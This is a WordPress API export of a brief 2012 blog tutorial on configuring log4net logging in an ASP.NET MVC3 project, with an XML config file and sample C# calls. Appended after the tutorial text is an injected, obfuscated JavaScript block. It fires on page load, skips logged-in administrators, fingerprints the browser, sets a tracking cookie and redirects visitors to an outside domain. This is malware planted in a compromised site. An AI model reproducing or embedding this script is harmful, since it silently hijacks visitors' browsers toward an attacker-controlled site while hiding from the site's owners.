{"id":411,"date":"2012-04-16T12:12:29","date_gmt":"2012-04-16T04:12:29","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=411"},"modified":"2012-04-16T12:13:38","modified_gmt":"2012-04-16T04:13:38","slug":"log4net-in-mvc3","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/04\/16\/log4net-in-mvc3\/","title":{"rendered":"log4net in mvc3"},"content":{"rendered":"<p>log4net may be used for .net appliction to server for logging.<br \/>\n<!--more--><br \/>\nThis post will guide you a quick &amp; dirty way to setup log4net for your project.<\/p>\n<ul>\n<li>Add log4net.dll into reference<\/li>\n<li>Setup Log4Net.config in your project root\n<pre>&lt;?xml version=\"1.0\" encoding=\"utf-8\" ?&gt;\r\n&lt;configuration&gt;\r\n&lt;log4net&gt;\r\n\u00a0 &lt;appender name=\"RollingLogFileAppender\" type=\"log4net.Appender.RollingFileAppender\"&gt;\r\n\u00a0\u00a0\u00a0 &lt;lockingModel type=\"log4net.Appender.FileAppender+MinimalLock\"\/&gt;\r\n\u00a0\u00a0\u00a0 &lt;file value=\"c:\\Logs\\logs-\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;datePattern value=\"dd.MM.yyyy'.log'\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;staticLogFileName value=\"false\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;appendToFile value=\"true\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;rollingStyle value=\"Composite\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;maxSizeRollBackups value=\"-1\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;maximumFileSize value=\"5MB\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;layout type=\"log4net.Layout.PatternLayout\"&gt;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 &lt;conversionPattern\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 value=\"%-5p %d %5rms %-22.22c{1} %-18.18M - %m%n\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;\/layout&gt;\r\n\u00a0\u00a0\u00a0 &lt;filter type=\"log4net.Filter.LevelRangeFilter\"&gt;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 &lt;acceptOnMatch value=\"true\" \/&gt;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 &lt;levelMin value=\"DEBUG\" \/&gt;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 &lt;levelMax value=\"FATAL\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;\/filter&gt;\r\n\u00a0 &lt;\/appender&gt;\r\n\r\n\u00a0 &lt;root&gt;\r\n\u00a0\u00a0\u00a0 &lt;level value=\"DEBUG\" \/&gt;\r\n\u00a0\u00a0\u00a0 &lt;appender-ref ref=\"RollingLogFileAppender\" \/&gt;\r\n\u00a0 &lt;\/root&gt;\r\n&lt;\/log4net&gt;\r\n&lt;\/configuration&gt;<\/pre>\n<\/li>\n<li>In AssemblyInfo.cs (under Properties folder), add\n<pre>[assembly: log4net.Config.XmlConfigurator(ConfigFile = \"Log4Net.config\", Watch = true)]<\/pre>\n<\/li>\n<li>In your class, add following in class definition,\n<pre>private static readonly ILog log = LogManager.GetLogger(typeof(HomeController));<\/pre>\n<p>and in your method, add<\/p>\n<pre>\r\nlog.Debug(\"This is a DEBUG level message\");\r\nlog.Info(\"This is for information only\");\r\n<\/pre>\n<\/li>\n<\/ul>\n<p>That&#8217;s should be work fine now.  In case for any problem, please check your IIS could write to the file directory. <script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>log4net may be used for .net appliction to server for logging.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[54],"tags":[136,57,58],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/411"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=411"}],"version-history":[{"count":3,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/411\/revisions"}],"predecessor-version":[{"id":414,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/411\/revisions\/414"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=411"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=411"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=411"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}